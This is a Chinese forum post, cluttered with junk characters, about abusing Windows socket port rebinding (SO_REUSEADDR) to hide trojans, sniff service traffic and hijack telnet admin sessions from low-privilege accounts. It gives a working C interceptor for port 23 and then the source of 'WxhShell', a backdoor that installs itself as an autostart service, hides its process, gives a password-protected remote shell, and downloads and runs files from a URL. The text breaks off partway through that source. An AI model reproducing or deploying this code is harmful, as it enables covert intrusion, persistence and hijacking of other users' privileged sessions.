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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3B1XZm  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oiF}?:7Q7  
8ZM?)# `@{  
  saddr.sin_family = AF_INET; lW+\j3?Z$  
:}Xll#.,m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); j| v%)A  
5QW=&zI`=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `_BNy=`s*  
(n*^4@"2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #^`4DhQ/ 1  
w,.+IV$Kk  
  这意味着什么?意味着可以进行如下的攻击: ~qcNEl\-y  
NaPt"G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;9[fonk  
m4TE5q%3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R}G4rO-J  
ebm])~ZL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ) brVduB  
q4R5<LW"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  VvvRRP^q  
4H,`]B8(D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 n(b(yXYm]  
!9u|fnC9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 J4QXz[dG  
]p _L)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %=n!Em(  
`Bo*{}E  
  #include OglEt["  
  #include n)L*  
  #include aO]ZZleNS  
  #include    Z8# (kmBdB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kY&k-K\  
  int main() 'z0:Ccbj  
  { I~q#eO)  
  WORD wVersionRequested; r;/4F/6"  
  DWORD ret; c2h{6;bfY  
  WSADATA wsaData; &qMPq->  
  BOOL val; w:%o?pKet1  
  SOCKADDR_IN saddr; hXfQ)$J  
  SOCKADDR_IN scaddr; {J{+FFsr(  
  int err; @E^~$-J5j  
  SOCKET s; 3 *d"B tg  
  SOCKET sc; &%8'8,.  
  int caddsize; R%Qf7Q  
  HANDLE mt; M9Cv wMi  
  DWORD tid;   ZW-yP2  
  wVersionRequested = MAKEWORD( 2, 2 ); ]=.\-K  
  err = WSAStartup( wVersionRequested, &wsaData ); ?i)f^O  
  if ( err != 0 ) { l,R/Gl  
  printf("error!WSAStartup failed!\n"); XxT#X3D/,"  
  return -1; qd9cI&  
  } vqnw#U4`  
  saddr.sin_family = AF_INET; Ipf|")*  
   !,l9@eJQ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 m#8m] Y  
c|lu&}BS  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @x9a?L.48  
  saddr.sin_port = htons(23); 0Oi,#]F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P7J>+cm  
  { $"`- ^  
  printf("error!socket failed!\n"); 3!3xCO  
  return -1; l]@&D#3ZM  
  } $k|g"9  
  val = TRUE; G %N $C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 BHd&yIyI  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) k ]W[`  
  { GT~)nC9f  
  printf("error!setsockopt failed!\n"); ZtV9&rd7  
  return -1; ]Oh@,V8  
  } <p}R~zk  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; aHs^tPg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {n(b{ ibl  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;6gDV`Twy  
j Yx38_5e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -#0qV:D  
  { QZ4v/Ou  
  ret=GetLastError(); 9!f/aI  
  printf("error!bind failed!\n"); $i&e[O7T;  
  return -1; #%`|~%`{:  
  } ~Cl){8o  
  listen(s,2); ?;KKw*  
  while(1) Yb:\a/ y  
  { Cnnh7`  
  caddsize = sizeof(scaddr); E>&n.%  
  //接受连接请求 P6E3-?4j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &/mA7Vf>eR  
  if(sc!=INVALID_SOCKET) nS/)P4z  
  { A&s:\3*Kh  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B,M(@5wz  
  if(mt==NULL) l-K9LTd  
  { cYFiJJLG]  
  printf("Thread Creat Failed!\n"); EM]s/LD@%  
  break; MJ7Y#<u  
  } SLO%7%>p  
  } ;+0t;B!V  
  CloseHandle(mt); lFa02p0  
  } Ol1e/Wv  
  closesocket(s); =6woWlfb  
  WSACleanup(); '=[?~0(B  
  return 0; 4?0vso*X<:  
  }   ">~.$Jp_4  
  DWORD WINAPI ClientThread(LPVOID lpParam) ) u3 Zm  
  { .9R [ *<  
  SOCKET ss = (SOCKET)lpParam; iDMJicW!+F  
  SOCKET sc; :r%P.60H X  
  unsigned char buf[4096]; nNrPHNfqD  
  SOCKADDR_IN saddr; el2bd :  
  long num; umD!2 w  
  DWORD val; Fp@TCPe#  
  DWORD ret; 6^uq?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {88)~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   eyefWn&  
  saddr.sin_family = AF_INET; NZ ;{t\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fYp'&Btb]x  
  saddr.sin_port = htons(23); D|@/yDQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JmPHAUd  
  { xm%Um\Pb7  
  printf("error!socket failed!\n"); =jlt5 z  
  return -1; VGtC)mG8)  
  } &Ts-a$Z7?S  
  val = 100; eK.e| z|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /<E5"Mm%  
  { Ge,;8N88  
  ret = GetLastError(); Xua+cVc\y  
  return -1; lCAIK  
  } yMyE s8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7G.#O}).b  
  { ;w'D4p= P  
  ret = GetLastError(); ` jzTmt  
  return -1; MxWy*|J}  
  } Nndddk`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j*F`"df  
  { ~7Ts_:E-  
  printf("error!socket connect failed!\n"); f>aEkh6u9  
  closesocket(sc); jZh';M8"  
  closesocket(ss); ;FBUwR}  
  return -1; 0|2%vh>J  
  } g) p,5BADm  
  while(1) >wb 'QzF:  
  { (ohq0Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lrnyk(M}Q.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [!}:KD2yX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /TZOJE(2j  
  num = recv(ss,buf,4096,0); Qi_>Mg`x  
  if(num>0) I"Ms-zs  
  send(sc,buf,num,0); r)Ap8?+  
  else if(num==0) j;s"q]"x]  
  break; !6s"]WvF  
  num = recv(sc,buf,4096,0); V+Cwzc^j  
  if(num>0) /DQc&.jK  
  send(ss,buf,num,0); M%1}/!J3  
  else if(num==0) _7IKzUn9g[  
  break; )N=NR2xBZ  
  } _{R=B8Zz\  
  closesocket(ss); '&.#  
  closesocket(sc); :> D[n1v  
  return 0 ; R<sJ^nx  
  } t'BLVCu  
(7XCA,KTGI  
_/Gczy4)#  
========================================================== V6t,BJjS  
h.-@ F  
下边附上一个代码,,WXhSHELL ~.A)bp  
Hu.t 3:w  
========================================================== ]4h92\\965  
SV:4GVf  
#include "stdafx.h" ox:[f9.5  
+x_Rfk$fb  
#include <stdio.h> GDu~d<RH  
#include <string.h> 2R=DB`3  
#include <windows.h> M&N B/  
#include <winsock2.h> <@}I0  
#include <winsvc.h> f8M$45A'  
#include <urlmon.h> '|S%a MLZ)  
w=j  
#pragma comment (lib, "Ws2_32.lib") Mu{;vf|j  
#pragma comment (lib, "urlmon.lib") Nc+,&R13m  
T.Ryy"%F  
#define MAX_USER   100 // 最大客户端连接数 2WtRJi?b|  
#define BUF_SOCK   200 // sock buffer F#5B<I  
#define KEY_BUFF   255 // 输入 buffer 2P/K K  
Jd5:{{ Lb  
#define REBOOT     0   // 重启 A,\6nO67  
#define SHUTDOWN   1   // 关机 k$H%.l;E  
)Psb>'X  
#define DEF_PORT   5000 // 监听端口 %^I88,$&L  
]l'Y'z,}  
#define REG_LEN     16   // 注册表键长度 G 16!eDMt  
#define SVC_LEN     80   // NT服务名长度 6&bY}i^K  
H2 $GIY  
// 从dll定义API %Eb%V($  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u:m]CPz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z9575CI<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9:`(Q3Ei  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *Ho/ZYj3  
U f|> (C  
// wxhshell配置信息 .C2TQ:B,.  
struct WSCFG { TJ: ]SB  
  int ws_port;         // 监听端口 fO0(Z  
  char ws_passstr[REG_LEN]; // 口令 F1jglH/MF)  
  int ws_autoins;       // 安装标记, 1=yes 0=no +n<k)E@>J  
  char ws_regname[REG_LEN]; // 注册表键名 ~_Lr=CD;4  
  char ws_svcname[REG_LEN]; // 服务名 R2(3 >`FJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S,<EEtXQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DyeQJ7p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @J5Jpt*IE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %z#f.Ql  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" = M]iIWQ@`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UB 6mqjPK  
/1x,h"T\<  
}; ~zSCg|"r  
p98~&\QT  
// default Wxhshell configuration F)+{AQL  
struct WSCFG wscfg={DEF_PORT, ?t+5s]  
    "xuhuanlingzhe", X{we/'>  
    1, &v"3*.org@  
    "Wxhshell", VH=S?_RY>  
    "Wxhshell", PH> b-n  
            "WxhShell Service", \3'9Uz,OC  
    "Wrsky Windows CmdShell Service", aX~%5 mF  
    "Please Input Your Password: ", DyQM>xw)t  
  1, Wx~k&[&E  
  "http://www.wrsky.com/wxhshell.exe", <{2e#Y  
  "Wxhshell.exe" qTAc[Ko  
    }; ~mO62(8m  
br0++}vwL  
// 消息定义模块 7\f\!e <  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ee@4 %/v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zN{K5<7o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \0mb 3Q'  
char *msg_ws_ext="\n\rExit."; ~(pmLZ<GW}  
char *msg_ws_end="\n\rQuit."; lY{FSGp  
char *msg_ws_boot="\n\rReboot..."; ' v\L @"  
char *msg_ws_poff="\n\rShutdown..."; 7zHh@ B:]  
char *msg_ws_down="\n\rSave to "; "TUe%o  
Kx=4~  
char *msg_ws_err="\n\rErr!"; :$_6SQ<?  
char *msg_ws_ok="\n\rOK!"; H}H7lO  
N nk@h  
char ExeFile[MAX_PATH]; mcn 2Wt  
int nUser = 0; m=:4`_0Q  
HANDLE handles[MAX_USER]; LwhyE:1  
int OsIsNt; )13dn]o=2  
81hbk((  
SERVICE_STATUS       serviceStatus; .\8X[%K9nc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y_HN6  
7<jZ`qdq_  
// 函数声明 Pfm_@'8  
int Install(void); ^S)cjH`P  
int Uninstall(void); Pt&(npjN,  
int DownloadFile(char *sURL, SOCKET wsh); 'yV?*a  
int Boot(int flag); b8%C *r7  
void HideProc(void);  1~l I8  
int GetOsVer(void); ^-rfvc  
int Wxhshell(SOCKET wsl); sf]s",t~J  
void TalkWithClient(void *cs); \EKU*5\Hp>  
int CmdShell(SOCKET sock); 549jWG  
int StartFromService(void); #fJ] o_  
int StartWxhshell(LPSTR lpCmdLine); rQEyD  
/;tPNp{!dw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wWSdTLX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZxlAk+<]  
aB]m*~  
// 数据结构和表定义 fm(e3]  
SERVICE_TABLE_ENTRY DispatchTable[] = hFk3[zTy  
{ \=0V uz  
{wscfg.ws_svcname, NTServiceMain}, <`jLY)sw  
{NULL, NULL} #[e  
}; 2-"0 ^n{  
;U<rc'qE  
// 自我安装 _[Vf547vS  
int Install(void) $8p7D?Y  
{ N?5x9duK  
  char svExeFile[MAX_PATH]; =7m}yDs6$  
  HKEY key; Q2A7mGN  
  strcpy(svExeFile,ExeFile); Qb! PRCHQ  
N<Q jdD&  
// 如果是win9x系统,修改注册表设为自启动 DhX#E&  
if(!OsIsNt) { } g3+{\x8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 01T`Flz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M;0]u.D*=  
  RegCloseKey(key); 70lfb`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U,+[5sbo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v^ /Q 8Q  
  RegCloseKey(key);  .AYj'Y  
  return 0; RN)dS>$  
    } 3SSm5{197  
  } 4;HJ;0-ps  
} dB+N\HBY  
else { '{ [5M!B  
w~#nYM=fP!  
// 如果是NT以上系统,安装为系统服务 L:(1ZS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .<z!3O&L  
if (schSCManager!=0) dgDy5{_  
{ xl"HotsX-x  
  SC_HANDLE schService = CreateService 0QvT   
  ( , =aJVb=C  
  schSCManager, ifo7%XPcg  
  wscfg.ws_svcname, gORJWQv  
  wscfg.ws_svcdisp, \`ZW* EtPI  
  SERVICE_ALL_ACCESS, ]r3Kg12Mi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G[8in   
  SERVICE_AUTO_START,  49d@!  
  SERVICE_ERROR_NORMAL, K_ lVISBQ  
  svExeFile, `fNG$ODL   
  NULL, ~>0qZ{3J_  
  NULL, Hg9CZM ko  
  NULL, h(qQsxIOhS  
  NULL, pDQ}*   
  NULL l c_E!"1  
  ); pA;-v MpMj  
  if (schService!=0)  e(NLX`  
  { `]LSbS  
  CloseServiceHandle(schService); {QbvR*gv  
  CloseServiceHandle(schSCManager); or k=`};  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AW#<i_Ybf  
  strcat(svExeFile,wscfg.ws_svcname); Z4){ 7|~a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x!_<z''  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4lqH8l.  
  RegCloseKey(key);  6l$L~>  
  return 0; QZX~T|Ckv  
    } BS&;n  
  } Cda!Mk:  
  CloseServiceHandle(schSCManager); \uME+NF  
} +[J/Zw0{  
} Fkf97Oi  
BYY RoE[P  
return 1; bu&t'?z x!  
} aF|d^  
A:y.s;<L 0  
// 自我卸载 c}[+h5  
int Uninstall(void) 5/gDK+%4D(  
{ ?0_7?yTR/  
  HKEY key; .bVmqR`  
IScRsxFb  
if(!OsIsNt) { UZEI:k,dv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x f4{r+  
  RegDeleteValue(key,wscfg.ws_regname); +,v-=~5  
  RegCloseKey(key); <!pQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &TG5rUUg  
  RegDeleteValue(key,wscfg.ws_regname); 7O`o ovW$  
  RegCloseKey(key); W23]Bx  
  return 0; SEl#FWR  
  } u*7Z~R  
} !GW ,\y  
} aZKOY  
else { [ BT)l]  
PY3ps2^K.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >/<:Q  &  
if (schSCManager!=0) 0F#>CmD  
{ 4f~["[*ea  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ES<{4<Kpx  
  if (schService!=0) zq1mmFIO  
  { hh~n#7w~IR  
  if(DeleteService(schService)!=0) { 7Z UiY  
  CloseServiceHandle(schService); M=xQ=j?  
  CloseServiceHandle(schSCManager); +%N KQ'49I  
  return 0; =e><z9hY  
  } L:M0pk{T  
  CloseServiceHandle(schService);  q{die[J  
  } *2}O-e  
  CloseServiceHandle(schSCManager); ;eigOU]  
} eQO#Qso]  
} .$", *d  
Wk^RA_  
return 1; mL~z~w*s  
} m-T~fJ  
2X-l{n;>  
// 从指定url下载文件 fqs]<qi  
int DownloadFile(char *sURL, SOCKET wsh) 91of~ffh  
{ W9t"aZor  
  HRESULT hr; ha;l(U>  
char seps[]= "/"; "Lh  
char *token; Gjz[1d  
char *file; Sd IX-k.  
char myURL[MAX_PATH]; BpO9As 1um  
char myFILE[MAX_PATH]; ZyR_6n>L$  
z"DkFvA  
strcpy(myURL,sURL); A>NsKWf{  
  token=strtok(myURL,seps); yB LUNIr  
  while(token!=NULL) }<MR`h1  
  { +:6Ii9G N  
    file=token; Lt#'W  
  token=strtok(NULL,seps); Sx ] T/xq  
  } S bsouGD,{  
'mdMq=VI  
GetCurrentDirectory(MAX_PATH,myFILE); oKFT? "[X  
strcat(myFILE, "\\"); JO@ Bf  
strcat(myFILE, file); O`cu_  
  send(wsh,myFILE,strlen(myFILE),0); TO;.eN!sv  
send(wsh,"...",3,0); g^kx(p<u`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !C:rb   
  if(hr==S_OK) &"uV~AM  
return 0; 5 waw`F  
else *.f2VQ~H  
return 1; >+cVs:  
<Wl(9$  
} ,/&Zw01dGN  
d0 er^ ~  
// 系统电源模块 %up}p/?  
int Boot(int flag) __p_8P  
{ V'Qn sI  
  HANDLE hToken; km:nE: |  
  TOKEN_PRIVILEGES tkp; TrE3S'EU#R  
<XQ.A3SG!  
  if(OsIsNt) { iO!6}yJ*V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ++[5q+b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d]0a%Xh[  
    tkp.PrivilegeCount = 1; W( *V2<$o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Em13dem  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N~=A  
if(flag==REBOOT) { [A~G-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) icUT<@0  
  return 0; *QE<zt  
} Z& !!]"I  
else { ]!YtH]}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sCH)gr@gJ^  
  return 0; v.Ogf 5  
} Zu<]bv  
  } s[3fqdLP&  
  else { XOb}<y)r~  
if(flag==REBOOT) { /jD-\,:L}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i4Z4xTn  
  return 0; >tRHNB_  
} i 6no;}j  
else { d-!<C7O}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8zQfY^/{M  
  return 0; !ZtSbOC'  
} _; ]e@  
} cep$_J a  
 5K56!*Y  
return 1; HV]Ze>}  
} O ++/ry%k  
>kYp%r6  
// win9x进程隐藏模块 LhJa)jFQ  
void HideProc(void) 1]4^V7y  
{ |ek ak{js  
?;7b*Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (L69{n  
  if ( hKernel != NULL ) AO 0!liQ  
  { @ Gjny BJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X, fu!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A[/I#Im7  
    FreeLibrary(hKernel); ):6 -  
  } {E,SHh   
Iz\1~  
return; Z>A{i?#m  
} g@nk.aRw  
3 (lVmfk  
// 获取操作系统版本 W"(u^}  
int GetOsVer(void) y8s=\`~PR  
{ c{88m/;eP  
  OSVERSIONINFO winfo; d!{7r7ob\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :\}U9QfCw  
  GetVersionEx(&winfo); k 'zat3#f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,-#GX{!  
  return 1; `<vxG4=62\  
  else we]>(|  
  return 0; o42`z>~  
} Pern*x9$  
{7#03k  
// 客户端句柄模块 WfVMdwz=  
int Wxhshell(SOCKET wsl) K; kM_%9u  
{ T)\NkM&  
  SOCKET wsh; -}<g-*m"q  
  struct sockaddr_in client; snMQ"ju  
  DWORD myID; LdWc X`K  
>BiRk%x  
  while(nUser<MAX_USER) "n- pl  
{ >A jCl  
  int nSize=sizeof(client); !EFBI+?&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y lL8+7W  
  if(wsh==INVALID_SOCKET) return 1; |>utWT]S  
9Q[>.):  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k ojG- M  
if(handles[nUser]==0) r,'O ).7  
  closesocket(wsh); /7p>7q 9g  
else ePA;:8)_j  
  nUser++; G(OFr2M  
  } YOw?'+8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :EB,{|m  
dB)9K)  
  return 0; %,?vyY  
} ?y_awoBd1  
8R/ *6S=&  
// 关闭 socket 7*'@qjTos  
void CloseIt(SOCKET wsh) rWr/p^~  
{ yh!B!v'  
closesocket(wsh); ks:{TA27  
nUser--; d.\PS9l  
ExitThread(0); _t.FL@3e  
} fOBN=y6x  
T|+$@o  
// 客户端请求句柄 5faj;I{%JY  
void TalkWithClient(void *cs) ZLJNw0!=|t  
{ qY}Cg0[@g  
W78o*z[O  
  SOCKET wsh=(SOCKET)cs; wgZrrq/W|  
  char pwd[SVC_LEN]; /.ZaE+  
  char cmd[KEY_BUFF]; M:|/ijp N  
char chr[1]; Yw^ Gti'<  
int i,j; 3]S`|#J  
l\aUresm  
  while (nUser < MAX_USER) { dpn3 (  
.eTk=i[N-  
if(wscfg.ws_passstr) { okDJ(AIV+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wP`sXPSmIu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 41 'EA \V  
  //ZeroMemory(pwd,KEY_BUFF); ,9vJtP+T+!  
      i=0; )*HjRTF6G  
  while(i<SVC_LEN) { 3ZN>9`  
hho%~^bn(  
  // 设置超时 jZ#UUnR%  
  fd_set FdRead; (6-y+ LG  
  struct timeval TimeOut; Lh!z>IWjOG  
  FD_ZERO(&FdRead); ,aO@.<"  
  FD_SET(wsh,&FdRead); DPeVKyjU  
  TimeOut.tv_sec=8; {rfte'4;=  
  TimeOut.tv_usec=0; Y-~;E3(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GC?S];PL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g< )72-h  
5G oK"F0i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -mC:r&Y>[  
  pwd=chr[0]; d#7]hF  
  if(chr[0]==0xd || chr[0]==0xa) { w`Xg%*]}  
  pwd=0; ^BNp`x;;`  
  break; #NM JZ  
  } m+7`\|`jQ  
  i++; &CO| Y(+  
    } }{=8&gA0  
TK %< a/  
  // 如果是非法用户,关闭 socket oek #^:pF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x/_dW  
} oVEAlBm^v  
xXPUrv5zO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "cQvd(kug  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v,*Q]r0m  
D+hB[*7Fs  
while(1) { #{~7G%GPY5  
|Cq8%  
  ZeroMemory(cmd,KEY_BUFF); ;%!tf{Si  
$2is3;h  
      // 自动支持客户端 telnet标准   wO!% q[  
  j=0; >F|qb*Tm7  
  while(j<KEY_BUFF) { d/4ubf+$k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #~*XDWvIS~  
  cmd[j]=chr[0]; 8.-S$^hj~6  
  if(chr[0]==0xa || chr[0]==0xd) { v*XkWH5  
  cmd[j]=0; uZ<%kV1B  
  break; ;,v.(Z ic  
  } ^f6 {0  
  j++; H.9yT\f.  
    } }M?|,N6  
{YBl:rMz  
  // 下载文件 ~R$[n.Vpk  
  if(strstr(cmd,"http://")) { XK3!V|y`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bZK+9IR  
  if(DownloadFile(cmd,wsh)) YPG,9iZ&f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <oZ(ng@X  
  else A$N+9n\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oL)lyUVT  
  } =kF? _KN  
  else { lh~<s2[R2  
^+URv  
    switch(cmd[0]) { $)l2G;&  
  Pm;I3r=R\  
  // 帮助 )kF2HF  
  case '?': { v10mDr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (< :mM  
    break; |;~nI'0O])  
  } p!QR3k.9s  
  // 安装 +R9%~Z.=  
  case 'i': { b24di  
    if(Install()) wFp~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` %l&zwj>  
    else '%);%y@v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dA|Lufy#  
    break; !2#\| NJk  
    } ~ t"n%SgY  
  // 卸载 )G^p1o;\  
  case 'r': { A0UV+ -PP  
    if(Uninstall()) 5d%_Wb'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8B_0!U& ]  
    else "wC0eDf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,YQ=Zk)w  
    break; $vW^n4!  
    } 0c`sb+?  
  // 显示 wxhshell 所在路径 fJvr+4i4k  
  case 'p': { - *r[  
    char svExeFile[MAX_PATH]; HE@-uh  
    strcpy(svExeFile,"\n\r"); +< GrRYbC  
      strcat(svExeFile,ExeFile); }+*w.X}L  
        send(wsh,svExeFile,strlen(svExeFile),0); 3_C98ClE  
    break; /i> ?i@O-  
    } %7iUlO}}V  
  // 重启 Tm%WWbc  
  case 'b': { aD?# ,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;,mBT[_ZO  
    if(Boot(REBOOT)) ?rAi=w&c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !~?W \b\:  
    else { 8I<_w4fC  
    closesocket(wsh); >).@Nb;e  
    ExitThread(0); $^] 9  
    } VtD@&N  
    break; D7EXqo  
    } (_s;aK  
  // 关机 B,r5kQI4  
